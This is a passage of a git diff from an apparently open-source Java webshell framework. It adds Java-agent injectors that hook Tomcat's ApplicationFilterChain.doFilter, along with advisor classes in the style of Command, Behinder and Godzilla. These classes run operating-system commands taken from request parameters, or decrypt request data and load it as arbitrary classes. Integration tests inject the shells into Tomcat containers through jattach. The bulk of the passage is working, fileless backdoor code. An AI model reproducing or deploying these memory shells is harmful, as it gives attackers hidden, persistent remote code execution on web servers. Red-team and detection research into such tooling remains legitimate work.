shellType, shellTool, content, packer, container); + } + + switch (shellTool) { + case Godzilla: + GodzillaShellTool.testIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); + break; + case Command: + CommandShellTool.testIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); + break; + case Behinder: + BehinderShellTool.testIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); + } + } + + public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + InjectorConfig injectorConfig = new InjectorConfig(); + if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); } @@ -35,41 +87,38 @@ public class ShellAssertionTool { .debug(true) .build(); - + ShellToolConfig shellToolConfig = null; + String uniqueName = shellTool + shellType + packer.name(); switch (shellTool) { case Godzilla: String godzillaPass = "pass"; String godzillaKey = "key"; - String godzillaHeaderValue = "Godzilla" + shellType + packer.name(); - GodzillaConfig godzillaConfig = GodzillaConfig.builder() + shellToolConfig = GodzillaConfig.builder() .pass(godzillaPass).key(godzillaKey) - .headerName("User-Agent").headerValue(godzillaHeaderValue) + .headerName("User-Agent").headerValue(uniqueName) .build(); - log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, godzillaHeaderValue); - String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer); - assertInjectIsOk(url, shellType, shellTool, content, packer); - GodzillaShellTool.testIsOk(shellUrl, godzillaConfig); + log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, uniqueName); break; case Command: - String paramName = "Command" + shellType + packer.name(); - CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build(); - String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer); - log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName()); - assertInjectIsOk(url, shellType, shellTool, commandContent, packer); - CommandShellTool.testIsOk(shellUrl, commandConfig); + shellToolConfig = CommandConfig.builder() + .paramName(uniqueName) + .build(); + log.info("generated {} command shell with paramName: {}", shellType, uniqueName); break; case Behinder: String behinderPass = "pass"; - String behinderHeaderValue = "Behinder" + shellType + packer.name(); - BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build(); - log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue); - String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer); - assertInjectIsOk(url, shellType, shellTool, behinderContent, packer); - BehinderShellTool.testIsOk(shellUrl, behinderConfig); + shellToolConfig = BehinderConfig.builder() + .pass(behinderPass) + .headerName("User-Agent") + .headerValue(uniqueName) + .build(); + log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName); + break; } + return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); } - public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { + public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer, GenericContainer container) { switch (packer) { case JSP -> { String uploadEntry = url + "/upload"; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 1e594de0..ff25c5bc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.tomcatPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,6 +36,8 @@ public class Tomcat10ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -63,7 +66,10 @@ public class Tomcat10ContainerTest { arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -77,6 +83,6 @@ public class Tomcat10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index b7c68635..1bf54421 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -37,6 +36,8 @@ public class Tomcat11ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -53,7 +54,10 @@ public class Tomcat11ContainerTest { arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -67,6 +71,6 @@ public class Tomcat11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index b9981366..131ffb28 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Tomcat11JRE21ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -52,7 +54,10 @@ public class Tomcat11JRE21ContainerTest { arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -66,6 +71,6 @@ public class Tomcat11JRE21ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 405b2d79..a3efe956 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -14,11 +15,12 @@ import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; +import org.testcontainers.utility.MountableFile; +import java.nio.file.Path; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warExpressionFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -32,9 +34,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Tomcat8ContainerTest { public static final String imageName = "tomcat:8-jre8"; + + @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -80,20 +86,22 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity) + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 7d3c777e..27aae5a9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +35,8 @@ public class Tomcat9ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -64,7 +65,10 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -78,6 +82,6 @@ public class Tomcat9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container); } } diff --git a/memshell-java8/build.gradle b/memshell-java8/build.gradle index ec18feae..0a00df0e 100644 --- a/memshell-java8/build.gradle +++ b/memshell-java8/build.gradle @@ -4,16 +4,21 @@ plugins { group = 'com.reajason.javaweb' version = '' -sourceCompatibility = '1.8' + +java { + sourceCompatibility = JavaVersion.VERSION_1_8 +} repositories { mavenCentral() } dependencies { + implementation project(":memshell") implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE' implementation 'org.springframework:spring-webflux:5.3.24' implementation 'org.springframework:spring-web:4.3.30.RELEASE' + implementation 'net.bytebuddy:byte-buddy:1.+' providedCompile 'javax.servlet:javax.servlet-api:3.0.1' providedCompile 'javax.websocket:javax.websocket-api:1.1' testImplementation platform('org.junit:junit-bom:5.10.0') diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java new file mode 100644 index 00000000..e8eff4d8 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.memshell.tomcat.behinder; + +import net.bytebuddy.asm.Advice; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Base64; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + */ +public class TomcatFilterChainBehinderAdvisor { + public static String pass; + public static String headerName; + public static String headerValue; + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) ServletRequest req, + @Advice.Argument(value = 1) ServletResponse res + ) { + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField("response"); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field != null) { + field.setAccessible(true); + response = (HttpServletResponse) field.get(obj); + } + obj.put("response", response); + obj.put("session", session); + session.setAttribute("u", pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); + Object instance = payload.newInstance(); + instance.equals(obj); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java new file mode 100644 index 00000000..1fd585cf --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.memshell.tomcat.command; + +import net.bytebuddy.asm.Advice; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import java.io.InputStream; + +/** + * @author ReaJason + */ +public class TomcatFilterChainCommandAdvisor { + public static String paramName; + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) ServletRequest request, + @Advice.Argument(value = 1) ServletResponse response + ) { + System.out.println(paramName); + String cmd = request.getParameter(paramName); + try { + if (cmd != null) { + System.out.println(cmd); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; + } + } catch (Exception ignored) { + } + return false; + } +} \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java new file mode 100644 index 00000000..a7492aa2 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.memshell.tomcat.godzilla; + +import net.bytebuddy.asm.Advice; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Method; +import java.util.Base64; + +/** + * @author ReaJason + */ +public class TomcatFilterChainGodzillaAdvisor { + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) ServletRequest req, + @Advice.Argument(value = 1) ServletResponse res + ) { + if (!(req instanceof HttpServletRequest)) { + return false; + } + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + String parameter = request.getParameter(pass); + byte[] data = Base64.getDecoder().decode(parameter); + Cipher c = Cipher.getInstance("AES"); + SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); + c.init(2, keySpec); + data = c.doFinal(data); + if (session.getAttribute("payload") == null) { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + session.setAttribute("payload", payload); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + + c.init(1, keySpec); + byte[] encryptBytes = c.doFinal(arrOut.toByteArray()); + String value = Base64.getEncoder().encodeToString(encryptBytes); + response.getWriter().write(value); + response.getWriter().write(md5.substring(16)); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java new file mode 100644 index 00000000..d2b0715a --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.memshell.tomcat.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.matcher.ElementMatchers; + +import java.lang.instrument.Instrumentation; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class TomcatFilterChainAgentInjector { + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + Class interceptorClass = Class.forName(getClassName()); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("org.apache.catalina.core.ApplicationFilterChain")) + .transform( + (builder, typeDescription, classLoader, + module, protectionDomain) -> + builder.visit(Advice.to(interceptorClass).on(named("doFilter"))) + ) + .installOn(inst); + System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java index a2c2006f..31f5c326 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java index 9448737a..0deab211 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java index e01145b8..2c57b7ab 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java index 2eafd4a0..ab796520 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java @@ -19,9 +19,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderValve extends ClassLoader implements Valve { - public String pass = "{{pass}}"; - public String headerName = 